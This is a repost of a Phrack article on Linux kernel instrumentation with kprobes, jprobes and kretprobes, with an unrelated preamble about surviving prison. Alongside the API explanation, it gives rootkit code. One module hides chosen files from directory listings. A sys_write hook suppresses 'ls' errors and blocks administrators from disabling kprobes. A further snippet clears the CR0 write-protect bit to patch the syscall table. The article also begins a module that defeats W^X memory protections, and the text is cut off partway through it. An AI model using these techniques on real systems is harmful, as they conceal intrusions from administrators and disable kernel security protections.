I made it inside the prison walls and now I am sharing with you ways for you to make it also, use this to your advantage this is for entertainment but also education.

TAp

PS: If you have any questions you would like for me to answer then please feel free to contact me.

Kernel instrumentation using kprobes

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x06 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Kernel instrumentation using kprobes ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by ElfMaster ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ elfmaster@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ Introduction

1.1 ‑ Why write it?

1.2 ‑ About kprobes

1.3 ‑ Jprobe example

1.4 ‑ Kretprobe example & Return probe patching technique

2 ‑ Kprobes implementation

2.1 ‑ Kprobe implementation

2.2 ‑ Jprobe implementation

2.3 ‑ File hiding with jprobes/kretprobes and modifying kernel .text 2.4 ‑ Kretprobe implementation

2.5 ‑ A quick stop into modifying read‑only kernel segments 2.6 ‑ An idea for a kretprobe implementation for hackers

3 ‑ Patch to unpatch W^X (mprotect/mmap restrictions)

4 ‑ Notes on rootkit detection for kprobes

5 ‑ Summing it all up.

6 ‑ Greetz

7 ‑ References and citations

8 ‑ Code

‑‑‑[ 1 ‑ Introduction

‑‑‑‑[ 1.1 ‑ Why write it?

I will preface this by saying that kprobes can be used for anti‑security patching of the kernel. I would also like to point out that kprobes are not the most efficient way to patch the kernel or write rootkits and backdoors because they simply require more work ‑‑ extra innovation.

So why write this? Because... we are hackers. Hackers should be aware of any and all resources available to them ‑‑ some more auspicious than others ‑‑ Nonetheless, kprobes are a sweet deal when you consider that they are a native kernel API that are ripe for abuse, even without exceeding their scope. Due to limitations discussed later on, kprobes require some extra innovation when determining how to perform certain tasks such as file hiding and applying other interesting patches that could subvert or even harden the kernels integrity.

‑‑‑‑[ 1.2 ‑ About kprobes

It is with no doubt that the best introduction to kprobes is in the Linux kernel source documentation that contains kprobes.txt. Make sure to read that when you get a chance. Kprobes are a debugging API native to the Linux kernel that is based on the processors debug registers ‑‑ whatever the processor may be. We are going to assume x86, which at this time has the most kprobe code developed.

‑‑From kprobes.txt ‑‑

Kprobes enables you to dynamically break into any kernel routine and collect debugging and performance information non‑disruptively. You can trap at almost any kernel code address, specifying a handler routine to be invoked when the breakpoint is hit.

There are currently three types of probes: kprobes, jprobes, and kretprobes (also called return probes). A kprobe can be inserted on virtually any instruction in the kernel. A jprobe is inserted at the entry to a kernel function, and provides convenient access to the function's arguments. A return probe fires when a specified function returns.

‑‑

Based on this definition one can imagine that this kprobes interface may be used to instrument the kernel in some useful ways, both for security and anti‑security; That is what this paper is about. In the recent past I implemented some relatively powerful and complex security patches using kprobes. That is not to say that other patching methods are not still useful, but occasionally one may run into issues using traditional methods such as kernel function trampolines which are not SMP safe due to the non‑atomic nature of swapping code in and out. kprobes are a native interface which is nice, but they still present some challenges due to limitations we discuss throughout the paper. Kprobes can be used to patch the kernel in some places, but cannot be used for everything. This a treatise that can shed some light on when and where kprobes can be used to modify the behavior of the kernel. Sometimes they must be used in conjunction with another patching method. Before we move on I wanted to point out the following few facts:

kprobes show up as being registered here:

/sys/kernel/debug/kprobes/list

And can be enabled or disabled by writing a 0 or a 1 here:

/sys/kernel/debug/kprobes/enabled

The kprobe source code is located in the following locations: /usr/src/linux/kernel/kprobes.c /usr/src/linux/arch/x86/kernel/kprobes.c

Keep in mind that jprobes/kretprobes are 100% based on kprobes and disabling kprobes like shown above will prevent any kretprobe/jprobe code from working as well.

Moving on...

‑‑‑‑[ 1.3 ‑ Jprobe example

In this paper we will be working primarily with jprobes and kretprobes. As shown in the kprobe documentation already, there are several functions available for registering and unregistering these probes.

Lets pretend for a moment that we are interested in sys_mprotect, and we want to inspect any calls to it, and the args that are being passed. For this we could register a jprobe for sys_mprotect. The following code outlines the general idea here. And consider that because we are setting a jprobe on a syscall, we need to either declare our jprobe handler using 'asmlinkage' magic, otherwise we must get our args directly from the registers. In our example I will get the args directly from the registers just to show how to obtain the registers for the current task.

‑‑ jprobe example 1 ‑‑

NOTE: The jprobe data types will be explained in detail in 2.2 [Jprobe implementation]

int n_sys_mprotect(unsigned long start, size_t len, long prot)

{

struct pt_regs *regs = task_pt_regs(current);

start = regs‑>bx;

len = regs‑>cx;

prot = regs‑>dx;

printk("start: 0x%lx len: %u prot: 0x%lx\n", start, len, prot); jprobe_return();

return 0;

}

/*

The following entry in struct jprobe is 'void *entry'

and simply points to the jprobe function handler that will

be executing when the probe is hit on the function entry

point.

*/

static struct jprobe mprotect_jprobe =

{

.entry = (kprobe_opcode_t *)n_sys_mprotect // function entry

};

static int __init jprobe_init(void)

{

/* kp.addr is kprobe_opcode_t *addr; from struct kprobe and */

/* points to the probe point where the trap will occur. In */

/* our case we are probing sys_mprotect */

mprotect_jprobe.kp.addr = (kprobe_opcode_t *)kallsyms_lookup_name("sys_mprotect");

if ((ret = register_jprobe(&mprotect_jprobe)) < 0)

{

printk("register_jprobe failed for sys_mprotect\n");

return ‑1;

}

return 0;

}

int init_module(void)

{

jprobe_init();

return 0;

}

void exit_module(void)

{

unregister_jprobe(&mprotect_jprobe);

}

In the above code, we register a jprobe for sys_mprotect. This means that a breakpoint instruction is placed on the entry point of the function, and as soon as it gets called a trap occurs and control is passed to our n_sys_mprotect() jprobe handler. From this point we can analyze data such as the arguments passed either in registers or on the stack, as well as any kernel data structures. We can also modify kernel data structures, which is primarily what we rely on for our patches using kprobes. Any attempts to modify the stack arguments or registers will be overriden as soon as our handler function returns ‑‑ this is because kprobes saves the register state and stack args prior to calling the handler, and restores these values upon the jprobe_return(), at which point the real syscall or function will execute and do its thing. We will get into much more detail on this topic and how to actually modify stack arguments later on.

‑‑‑‑[ 1.4 ‑ Kretprobe example and return probe patching technique

Moving on to kretprobes (Also known as return probes). Without kretprobes it wouldn't be as easily possible to patch the kernel using kprobes, this is because a kernel function that we set a jprobe on might re‑modify a kernel data structure that we modify, as soon as our jprobe handler returns. If we apply a kretprobe into the situation we can modify that kernel data structure after the real kernel function returns. Here is an example... Lets say we want to modify the kernel data structure 'kstruct‑>x' (which is ficticious). We want to modify it, but do not know what value we want to apply to it until 'function_A' executes, but as soon as the real 'function_A' executes after our jprobe handler, it sets the value 'kstruct‑>x' to something. This is where kretprobes come into play. This is the approach we take, which we can call the 'return probe patching' technique.

1. [jprobe handler for function_A] ‑> Determines the value that we want to set on kstruct‑>x 2. [function_A] ‑> Sets the value of kstruct‑>x to some value. 3. [kretprobe handler for function_A] ‑> Sets the value of kstruct‑>x to value determined by jprobe handler.

So as you can see, with kretprobes we end up being able to set the final verdict on a value.

Here is a quick example of registering a kretprobe. We will use sys_mprotect for this example as well.

The kretprobe data types will be explained in the section 2.4 [kretprobes implementation].

static int mprotect_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) {

printk("Original return address: 0x%lx\n", (unsigned long)ri‑>ret_addr); return 0;

}

static struct kretprobe mprotect_kretprobe =

{

.handler = mprotect_ret_handler, // return probe handler

.maxactive = NR_CPUS // max number of kretprobe instances

};

int init_module(void)

{

mprotect_kretprobe.kp.addr = (kprobe_opcode_t *)kallsyms_lookup_name("sys_mprotect"); register_kretprobe(&mprotect_kretprobe);

}

As you can see I utilize kallsyms_lookup_name(), but interestingly a probe can be set on virtually any instruction within the kernel, whatever means you use to get that location is up to you (I.E System.map).

So as you can see, the code is straight forward. From an internal point of view‑‑ by the time sys_mprotect returns, the address at the top of the stack (the ret address) has been modified to point to a function called kretprobe_trampoline() which in turn sets things up to call our mprotect_ret_handler() function where we can inspect and modify kernel data. No point in modifying the registers because they were all saved on the stack and will be reset as soon as our handler returns. More on this in the next section. The kretprobe trampoline function will be explored in detail in 2.4 [Kretprobe implementation].

‑‑‑[ 2 ‑ Kprobes implementation

‑‑‑‑[ 2.1 ‑ Kprobe implementation

Firstly I want to make sure we are on the same page about what a basic kprobe is, and the general idea of how it works.

‑‑ Taken from kprobes.txt:

When a kprobe is registered, Kprobes makes a copy of the probed instruction and replaces the first byte(s) of the probed instruction with a breakpoint instruction (e.g., int3 on i386 and x86_64).

When a CPU hits the breakpoint instruction, a trap occurs, the CPU's registers are saved, and control passes to Kprobes via the notifier_call_chain mechanism.

Kprobes executes the "pre_handler" associated with the kprobe, passing the handler the addresses of the kprobe struct and the saved registers. It would be simpler to single‑step the actual instruction in place, but then Kprobes would have to temporarily remove the breakpoint instruction. This would open a small time window when another CPU could sail right past the probepoint.

After the instruction is single‑stepped, Kprobes executes the "post_handler," if any, that is associated with the kprobe. Execution then continues with the instruction following the probepoint. Next, Kprobes single‑steps its copy of the probed instruction.

‑‑

So to clarify, when registering a typical kprobe a pre_handler should always be assigned so that you can inspect data or do whatever you want during that point. A post handler may or may not be assigned.

Since we are primarily using jprobes and kretprobes which are extensions of the kprobe interface, I have chosen to primarily discuss their implementation more so than a plain kprobe. All you need to know for now is that registering a basic kprobe inserts a breakpoint instruction on the desired location, and executes a pre and a post handler that you assign. As you will see in the jprobe and kretprobe implementations which are implemented using a basic kprobe with a pre and post handler, the pre and post handlers point to special kernel functions [/usr/src/linux/arch/x86/kernel/kprobes.c] that act as a sort of prologue/epilogue for the actual handler that executes the instructions. More will be revealed in the following sections.

‑‑‑‑[ 2.2 ‑ Jprobe implementation

If we are aware of the internal implementation of jprobes and kretprobes then we can utilize them better, and we could even patch the interface itself to act more like we want it, but this defeats the purpose of this paper which aims at patching the kernel using the kprobes interface as it is, although we will explore some external modifications of kprobes later on.

Firstly take a look at the following struct:

struct jprobe {

struct kprobe kp;

void *entry; /* probe handling code to jump to */

};

When we call register_jprobe() it in turn calls register_jprobes(&jp, 1). register_jprobes() is all about setting up the jprobe pre/post and entry handler.

‑‑ snippet from register_jprobes() in /usr/src/linux/kernel/kprobes.c ‑‑

/* See how jprobes utilizes kprobes? It uses the */

/* pre/post handler */

jp‑>kp.pre_handler = setjmp_pre_handler; jp‑>kp.break_handler = longjmp_break_handler; ret = register_kprobe(&jp‑>kp);

‑‑

The pre_handler is called before your function/entry handler and is responsible for saving the contents of the stack, the registers, and sets the eip. In normal circumstances the developer has no control over the pre/post handler for jprobes because the kprobe pre and post handler entries within struct kprobe do not point to your own custom handlers, but instead to specialized handlers specifically for the jprobe prologue/epilogue.

/* Called before addr is executed. */

kprobe_pre_handler_t pre_handler;

/* Called after addr is executed, unless... */

kprobe_post_handler_t post_handler;

You could say that the execution of a jprobe looks like this:

1. [jprobe pre_handler] Backup stack and register state

2. [jprobe function handler] Do elite modifications to kernel

3. [jprobe post_handler] Restore original stack and registers.

Lets take a peek at the pre_handler which backs up the stack and registers.

int __kprobes setjmp_pre_handler(struct kprobe *p, struct pt_regs *regs) {

struct jprobe *jp = container_of(p, struct jprobe, kp); unsigned long addr;

struct kprobe_ctlblk *kcb = get_kprobe_ctlblk();

kcb‑>jprobe_saved_regs = *regs; kcb‑>jprobe_saved_sp = stack_addr(regs);

addr = (unsigned long)(kcb‑>jprobe_saved_sp);

/*

* As Linus pointed out, gcc assumes that the callee * owns the argument space and could overwrite it, e.g. * tailcall optimization. So, to be absolutely safe * we also save and restore enough stack bytes to cover * the argument area.

*/

memcpy(kcb‑>jprobes_stack, (kprobe_opcode_t *)addr, MIN_STACK_SIZE(addr));

regs‑>flags &= ~X86_EFLAGS_IF; trace_hardirqs_off();

regs‑>ip = (unsigned long)(jp‑>entry);

return 1;

}

Pay close attention to the code comment above; Like with Chuck Noris... if Linus says it, then it MUST be true!

As you can see, the function gets the current stack location using the stack_addr() macro, and then memcpy's it over to kcb‑>jprobes_stack which is a backup of the stack to be restored in the post handler. The stack being restored prior to the real function being called does impose some obvious restrictions, but that does not mean that we can't manipulate the pointer values that are passed on the stack which is something we take advantage of in section 2.3 (File hiding). After the jprobe handler is finished, the jprobe post handler is called ‑‑ here is the code.

int __kprobes longjmp_break_handler(struct kprobe *p, struct pt_regs *regs) {

struct kprobe_ctlblk *kcb = get_kprobe_ctlblk(); u8 *addr = (u8 *) (regs‑>ip ‑ 1);

struct jprobe *jp = container_of(p, struct jprobe, kp);

if ((addr > (u8 *) jprobe_return) &&

(addr < (u8 *) jprobe_return_end)) { if (stack_addr(regs) != kcb‑>jprobe_saved_sp) { struct pt_regs *saved_regs =

&kcb‑>jprobe_saved_regs;

printk(KERN_ERR "current sp %p does not match saved sp %p\n",

stack_addr(regs), kcb‑>jprobe_saved_sp);

printk(KERN_ERR "Saved registers for jprobe %p\n", jp); show_registers(saved_regs); printk(KERN_ERR "Current registers\n"); show_registers(regs); BUG();

}

*regs = kcb‑>jprobe_saved_regs; memcpy((kprobe_opcode_t *)(kcb‑>jprobe_saved_sp), kcb‑>jprobes_stack, MIN_STACK_SIZE(kcb‑>jprobe_saved_sp)); preempt_enable_no_resched(); return 1;

}

return 0;

}

The code primarily restores the stack and re‑enables preemption; probe handlers are run with preemption disabled.

‑‑‑‑[ 2.3 ‑ File hiding using jprobes/kretprobes

Lets consider a simple file hiding approach that consists using the dirent‑>d_name pointer in filldir64().

char *hidden_files[] =

{

#define HIDDEN_FILES_MAX 3

"test1",

"test2",

"test3"

};

struct getdents_callback64 {

struct linux_dirent64 __user * current_dir;

struct linux_dirent64 __user * previous;

int count;

int error;

};

/* Global data for kretprobe to act on */

static struct global_dentry_info

{

unsigned long d_name_ptr;

int bypass;

} g_dentry;

/* Our jprobe handler that globally saves the pointer value of dirent‑>d_name */

/* so that our kretprobe can modify that location */

static int j_filldir64(void * __buf, const char * name, int namlen, loff_t offset, u64 ino, unsigned int d_type)

{

int found_hidden_file, i;

struct linux_dirent64 __user *dirent;

struct getdents_callback64 * buf = (struct getdents_callback64 *) __buf; dirent = buf‑>current_dir;

int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);

/* Initialize custom stuff */

g_dentry.bypass = 0;

found_hidden_file = 0;

for (i = 0; i < HIDDEN_FILES_MAX; i++)

if (strcmp(hidden_files[i], name) == 0) found_hidden_file++;

if (!found_hidden_file)

goto end;

/* Create pointer to where we need to modify in dirent */

/* since someone is trying to view a file we want hidden */

g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent‑>d_name; g_dentry.bypass++; // note that we want to bypass viewing this file

end:

jprobe_return();

return 0;

}

/* Our kretprobe handler, which we use to nullify the filename */

/* Remember the 'return probe technique'? Well this is it. */

static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) {

char *ptr, null = 0;

/* Someone is looking at one of our hidden files */

if (g_dentry.bypass)

{

/* Lets nullify the filename so it simply is invisible */

ptr = (char *)g_dentry.d_name_ptr; copy_to_user((char *)ptr, &null, sizeof(char)); }

}

The code above is quite adept at hiding files based on getdents64 being called but unfortunately 'ls' from GNU coreutils will call lstat64 for every d_name found, and if some of the d_names start with a null byte then we will see an error returned by lstat saying "Cannot access : : file not found". So if we are hiding 3 files, then we will see that error message 3 times prior to the directory listing (which will not show the hidden files). One of the primary limitations of kprobe patching is that we cannot modify the return value of a function; the closest we can get is setting up a return probe to modify data that the function may have operated on. There are some indirect methods of altering the return value at times, but after following the code path for lstat64 I found no way to remedy the issue using kprobes. Instead I found the not‑so‑elegant approach of redirecting the stderr to /dev/null by setting a jprobe and a return probe on sys_write. Additionally, while modifying sys_write, we might as well redirect any attempts to disable kprobes to /dev/null as well. A super user can simply 'echo 0 > /sys/kernel/debug/kprobes/enabled' to disable the kprobes interface (We don't want this). One of the parameters we will pass to insmod when installing our LKM will be the inode of the 'enabled' /sys entry. Below is the code for our modified sys_write.

asmlinkage static int j_sys_write(int fd, void *buf, unsigned int len) {

char *s = (char *)buf;

char null = '\0';

char devnull[] = "/dev/null";

struct file *file;

struct dentry *dentry = NULL;

unsigned int ino;

int ret;

char comm[255];

stream_redirect = 0; // do we redirect to /dev/null?

/* Make sure this is an ls program */

/* otherwise we'd prevent other programs */

/* From being able to send 'cannot access' */

/* in their stderr stream, possibly */

get_task_comm(comm, current);

if (strcmp(comm, "ls") != 0)

goto out;

/* check to see if this is an ls stat complaint, or ls ‑l weirdness */

/* There are two separate calls to sys_write hence two strstr checks */

if (strstr(s, "cannot access") || strstr(s, "ls:")) {

printk("Going to redirect\n"); goto redirect;

}

/* Check to see if they are trying to disable kprobes */

/* with 'echo 0 > /sys/kernel/debug/kprobes/enabled' */

file = fget(fd);

if (!file)

goto out;

dentry = dget(file‑>f_dentry);

if (!dentry)

goto out;

ino = dentry‑>d_inode‑>i_ino;

dput(dentry);

fput(file);

if (ino != enabled_ino)

goto out;

redirect:

/* If we made it here, then we are doing a redirect to /dev/null */

stream_redirect++;

mm_segment_t o_fs = get_fs();

set_fs(KERNEL_DS);

n_sys_close(fd);

fd = n_sys_open(devnull, O_RDWR, 0);

set_fs(o_fs);

global_fd = fd;

out:

jprobe_return();

return 0;

}

/* Here is the return handler to close the fd to /dev/null. */

static int sys_write_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) {

if (stream_redirect)

{

n_sys_close(global_fd); stream_redirect = 0;

}

return 0;

}

We close the existing file descriptor and open a new one that will use the same fd number. This redirection of stderr to /dev/null is only for the current process. To understand it a bit more we can follow the code path of do_sys_open(), I've added some extra comments:

long do_sys_open(int dfd, const char __user *filename, int flags, int mode) {

char *tmp = getname(filename);

int fd = PTR_ERR(tmp);

if (!IS_ERR(tmp)) {

fd = get_unused_fd_flags(flags); if (fd >= 0) {

struct file *f = do_filp_open(dfd, tmp, flags, mode, 0);

if (IS_ERR(f)) {

put_unused_fd(fd);

fd = PTR_ERR(f);

} else {

/* Notice fsnotify_open() */

fsnotify_open(f‑>f_path.dentry);

/* Associate fd with /dev/null */

fd_install(fd, f);

trace_do_sys_open(tmp, flags, mode);

}

}

putname(tmp);

}

return fd;

}

The new file descriptor is associated with its new file (struct files_struct *) for the current task using fd_install().

void fd_install(unsigned int fd, struct file *file)

{

struct files_struct *files = current‑>files; // <‑‑ notice here

struct fdtable *fdt;

spin_lock(&files‑>file_lock);

fdt = files_fdtable(files); // <‑‑ notice here

BUG_ON(fdt‑>fd[fd] != NULL); rcu_assign_pointer(fdt‑>fd[fd], file); // <‑‑ notice here

spin_unlock(&files‑>file_lock);

}

One important note to the reader is, /sys/kernel/debug/kprobes/list the file which shows any registered kprobes. Simply use a redirect technique like the one we used above to track open's to that file and redirect any writes to stdout to /dev/null if the list contains a probe that you have registered. Very trivial, and absolutely necessary to maintain a stealth presence.

As the topic of rootkits has become trite ...

I would like to introduce some other kprobe examples. Firstly

let us discuss the Kretprobe implementation in detail. It will give some more insight into the limitations of kprobes and also expand your mind on how the kprobe implementation may be modified ‑which is not covered in this paper.

‑‑‑‑[ 2.4 ‑ Kretprobe implementation

The kretprobe implementation is especially interesting. Primarily because it is an innovative and nicely engineered chunk of code. Here is how it works.

‑‑ From the kprobes.txt ‑‑

When you call register_kretprobe(), Kprobes establishes a kprobe at the entry to the function. When the probed function is called and this probe is hit, Kprobes saves a copy of the return address, and replaces the return address with the address of a "trampoline." The trampoline is an arbitrary piece of code ‑‑ typically just a nop instruction. At boot time, Kprobes registers a kprobe at the trampoline.

The kretprobe implementation is really just a creative way of using kprobes by registering them and assigning the trap handlers functions that deal with modifying the return address.

‑‑ From /usr/src/linux/kernel/kprobes.c ‑‑

int __kprobes register_kretprobe(struct kretprobe *rp)

{

int ret = 0;

struct kretprobe_instance *inst;

int i;

void *addr;

... <code> ...

rp‑>kp.pre_handler = pre_handler_kretprobe; rp‑>kp.post_handler = NULL;

rp‑>kp.fault_handler = NULL;

rp‑>kp.break_handler = NULL;

... <code> ...

}

NOTE:

Notice the rp‑>kp.pre_handler ‑‑ kp is struct kprobe

and the pre_handler is assigned pre_handler_kretprobe.

So when the return probe is hit, pre_handler_kretprobe() will call arch_prepare_kretprobe() which saves the original return address and inserts the new one:

void __kprobes arch_prepare_kretprobe(struct kretprobe_instance *ri,

struct pt_regs *regs)

{

unsigned long *sara = stack_addr(regs);

ri‑>ret_addr = (kprobe_opcode_t *) *sara;

/* Replace the return addr with trampoline addr */

*sara = (unsigned long) &kretprobe_trampoline;

}

Notice the last line which sets the return address to the trampoline. The trampoline is actually defined in an assembly stub, which for x86 looks like this:

asm volatile (

".global kretprobe_trampoline\n" "kretprobe_trampoline: \n" * Skip cs, ip, orig_ax and gs. * trampoline_handler() will plug in these values */

" subl $16, %esp\n"

" pushl %fs\n"

" pushl %es\n"

" pushl %ds\n"

" pushl %eax\n"

" pushl %ebp\n"

" pushl %edi\n"

" pushl %esi\n"

" pushl %edx\n"

" pushl %ecx\n"

" pushl %ebx\n"

" movl %esp, %eax\n"

" call trampoline_handler\n"

/* Move flags to cs */

" movl 56(%esp), %edx\n"

" movl %edx, 52(%esp)\n"

/* Replace saved flags with true return address. */

" movl %eax, 56(%esp)\n"

" popl %ebx\n"

" popl %ecx\n"

" popl %edx\n"

" popl %esi\n"

" popl %edi\n"

" popl %ebp\n"

" popl %eax\n"

/* Skip ds, es, fs, gs, orig_ax and ip */

" addl $24, %esp\n"

" popf\n"

#endif

" ret\n");

}

After the register state is backed up on the stack the stub calls trampoline_handler() which essentially executes any return probe handlers associated with the kretprobe for the given function. Looking at the actual function gives some more insight.

static __used __kprobes void *trampoline_handler(struct pt_regs *regs) {

struct kretprobe_instance *ri = NULL;

struct hlist_head *head, empty_rp;

struct hlist_node *node, *tmp;

unsigned long flags, orig_ret_address = 0; unsigned long trampoline_address = (unsigned

long)&kretprobe_trampoline;

INIT_HLIST_HEAD(&empty_rp); kretprobe_hash_lock(current, &head, &flags);

/* fixup registers */

#ifdef CONFIG_X86_64

regs‑>cs = __KERNEL_CS;

#else

regs‑>cs = __KERNEL_CS | get_kernel_rpl(); regs‑>gs = 0;

#endif

regs‑>ip = trampoline_address;

regs‑>orig_ax = ~0UL;

/*

* It is possible to have multiple instances associated with a * given

* task either because multiple functions in the call path have * return probes installed on them, and/or more than one * return probe was registered for a target function. *

* We can handle this because:

* ‑ instances are always pushed into the head of the list * ‑ when multiple return probes are registered for the same * function, the (chronologically) first instance's ret_addr * will be the real return address, and all the rest will * point to kretprobe_trampoline.

*/

hlist_for_each_entry_safe(ri, node, tmp, head, hlist) { if (ri‑>task != current) /* another task is sharing our hash bucket */

continue;

if (ri‑>rp && ri‑>rp‑>handler) { __get_cpu_var(current_kprobe) = &ri‑>rp‑>kp; get_kprobe_ctlblk()‑>kprobe_status = KPROBE_HIT_ACTIVE;

ri‑>rp‑>handler(ri, regs); __get_cpu_var(current_kprobe) = NULL; }

orig_ret_address = (unsigned long)ri‑>ret_addr; recycle_rp_inst(ri, &empty_rp);

if (orig_ret_address != trampoline_address) /*

* This is the real return address. Any other * instances associated with this task are for * other calls deeper on the call stack */

break;

}

kretprobe_assert(ri, orig_ret_address, trampoline_address);

kretprobe_hash_unlock(current, &flags);

hlist_for_each_entry_safe(ri, node, tmp, &empty_rp, hlist) { hlist_del(&ri‑>hlist);

kfree(ri);

}

return (void *)orig_ret_address;

}

The original return address value is returned, and then the kretprobe_trampoline stub copies it onto the stack at the right location. At which point all of the saved registers are pop'd and restored‑‑resulting in returning to the original calling function with the original return value. I suppose it doesn't take an over active imagination to see that the kretprobe_trampoline stub code can be modified to return a different value. This could be done in several ways, however it would exceed the scope of hacking purely with kprobes. The arch_prepare_kretprobe() function would have to be patched (And it cannot be patched using a kprobe sadly) this is because any functions with a __kprobe in the prototype cannot be patched using kprobe hooks themselves.

‑‑ A simple patch within arch_prepare_kretprobe()

*sara = (unsigned long)&kretprobe_trampoline;

Could be changed to:

*sara = (unsigned long)&custom_asm_stub;

The problem is that arch_prepare_kretprobe() would have to be modified using a technique alternate to kprobes, which is of course easy enough but exceeds this papers scope. If you are interested in doing this the next section will give you a trick that will be necessary in doing so.

‑‑‑‑[ 2.5 ‑ A quick stop into modifying read‑only kernel segments

If you do feel interested in hijack arch_prepare_kretprobe()

using a function trampoline, do remember that modern intel CPU's have the WRITE_PROTECT bit (cr0.wp) which prevents modifications to read‑only segments, so anytime you want to modify any data structure that resides in .rodata you will need to use the function I provide below to modify them. The following types of data structures often exist in the kernels text segment:

1. void **sys_call_table

2. const struct file_operations <fs_fops_name>

3. const struct vm_ops <vma_vmops_name>

4. kernel functions

Data structures defined as 'const' will go into the .rodata section which is at the end of the text segment, and the kernel code itself generally exist in the .text section of the text segment. Attempting writes to these locations will cause kernel freezes/panics/oops.

Some people modify the page table entry data for read‑only pages they want to modify, but the following functions I have provided are much simpler, and an example will be provided below.

/* FUNCTION TO DISABLE WRITE PROTECT BIT IN CPU */

static void disable_wp(void)

{

unsigned int cr0_value;

asm volatile ("movl %%cr0, %0" : "=r" (cr0_value));

/* Disable WP */

cr0_value &= ~(1 << 16);

asm volatile ("movl %0, %%cr0" :: "r" (cr0_value));

}

/* FUNCTION TO RE‑ENABLE WRITE PROTECT BIT IN CPU */

static void enable_wp(void)

{

unsigned int cr0_value;

asm volatile ("movl %%cr0, %0" : "=r" (cr0_value));

/* Enable WP */

cr0_value |= (1 << 16);

asm volatile ("movl %0, %%cr0" :: "r" (cr0_value));

}

So if you wanted to modify a kernel function pointer that exists within the text segment (If it is declared const) ‑‑ I.E the sys_call_table:

disable_wp();

sys_call_table[__NR_write] = (void *)n_sys_write;

enable_wp();

Or assuming you have a function that hijacks arch_prepare_kretprobe() using the method discussed here [3]

disable_wp();

hijack_arch_prepare_kretprobe();

enable_wp();

You get the idea. But since we've fallen a bit off track lets move into the next section which is actually more relative to the paper.

‑‑‑‑[ 2.6 ‑ An idea for a kretprobe implementation for hackers

The primary restriction in patching the kernels should be obvious by now. We CANNOT modify the return value in return probes (kretprobes). If someone felt so inclined, they could (in an LKM) implement something very similar to the kretprobe implementation. This would allow us to instrument the kernel using kprobes and modify the return value ‑‑ therefore easily patching functions like filldir64 which would allow us to simply use our special kretprobe implementation to 'return 0' if the 'char *d_name' matched a file we wanted to hide.

If the reader studies /usr/src/linux/kernel/kprobes.c after reading the above section on kretprobe implementation, it becomes apparent that a more flexible kretprobe implementation could be designed. This is hardly non‑trivial if the reader followed this paper in its entirety. I simply did not have enough time to design this feature ‑‑ a kretprobe for hackers that allows control of the return value. Lets call this feature 'rpe' (Return probe elite) the BASIC schematics would look like:

int register_rpe(struct kretprobe *rp)

{

... <code> ...

rp‑>kp.pre_handler = pre_handler_rpe;

... <code> ...

}

static int pre_handler_rpe(struct kprobe *p,

struct pt_regs *regs)

{

arch_prepare_rpe(regs);

}

void arch_prepare_rpe(struct pt_regs *regs)

{

unsigned long *ret = stack_addr(regs);

ret_addr = (kprobe_opcode_t *) *sara;

/* Replace the return addr with trampoline addr */

*ret = (unsigned long) &rpe_trampoline;

}

rpe_trampoline could be either an asm stub or an actual

function ‑‑ either way you would want to backup the registers before calling your handler that does what you want ‑‑

to process data and ultimately return whatever value you want

For instance:

__asm__ ("movl $val, %eax\n"

"push $ret_addr\n"

"ret");

Since I did not provide an implementation for a more flexible kretprobe, the reader may be interested in doing so. Once I

get an opportunity I intend on writing an LKM patch for one

and releasing it.

‑‑‑[ 3 ‑ Patch to unpatch W^X (mprotect/mmap restrictions)

Lets move on to a couple of other patches using the existing kprobe features to show some usefulness other than a file hiding mechanism. These two patches will aim at disabling the W^X feature that is enabled in kernels ‑‑ PaX for instance calls this mprotect restrictions. W^X is to say that an mmap segment cannot be created or modified to be both write+execute. The patches below give us two benefits:

1. On systems with the NX (no_exec_pages) bit set, we will be able to do things like mark the data segment as executable and inject code there for execution using ptrace.

2. Many ELF protectors (Burneye, Shiva, Elfcrypt, etc.) store the encrypted executable in the text segment of the stub/loading code and to decrypt part of a programs own text, would be considered self modifying code ‑‑ W^X prevents this ‑‑ so with our Anti‑W^X patch we can use our ELF Protectors, and make segments such as the stack and data segment, once again, executable on systems with the NX bit set where mprotect/mmap restrictions really make a difference.

An important note is that due to the design nature of the following patch, we cannot change the return values; so mprotect and mmap will both give a return value that says they failed‑‑ don't exit based on error checking because your write+execute mmap and mprotect attempts actually succeed. To test you can look at /proc/pid/maps of the given process.

‑‑ tested on 2.6.18 ‑‑

On modern systems simply change regs‑>eax to regs‑>ax in the two necessary spots. Also exporting the module license to GPL is not necessary to use kprobes on modern systems.

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/kprobes.h>

#include <linux/mm.h>

#include <linux/fs.h>

#include <linux/file.h>

#define PROT_READ 0x1 /* Page can be read. */

#define PROT_WRITE 0x2 /* Page can be written. */

#define PROT_EXEC 0x4 /* Page can be executed. */

#define PROT_NONE 0x0 /* Page can not be accessed. */

#define MAP_FIXED 0x10

#define MAP_ANONYMOUS 0x20 /* don't use a file */

#define MAP_GROWSDOWN 0x0100 /* stack‑like segment */

#define MAP_DENYWRITE 0x0800 /* ETXTBSY */

#define MAP_EXECUTABLE 0x1000 /* mark it as an executable */

/*

* It is preferable to write a script that gets

* kallsyms_lookup_name() from System.map and then

* passes it as a module parameter, but in this example

* we just look it up and assign it our selves, so

* make sure to change the address.

*/

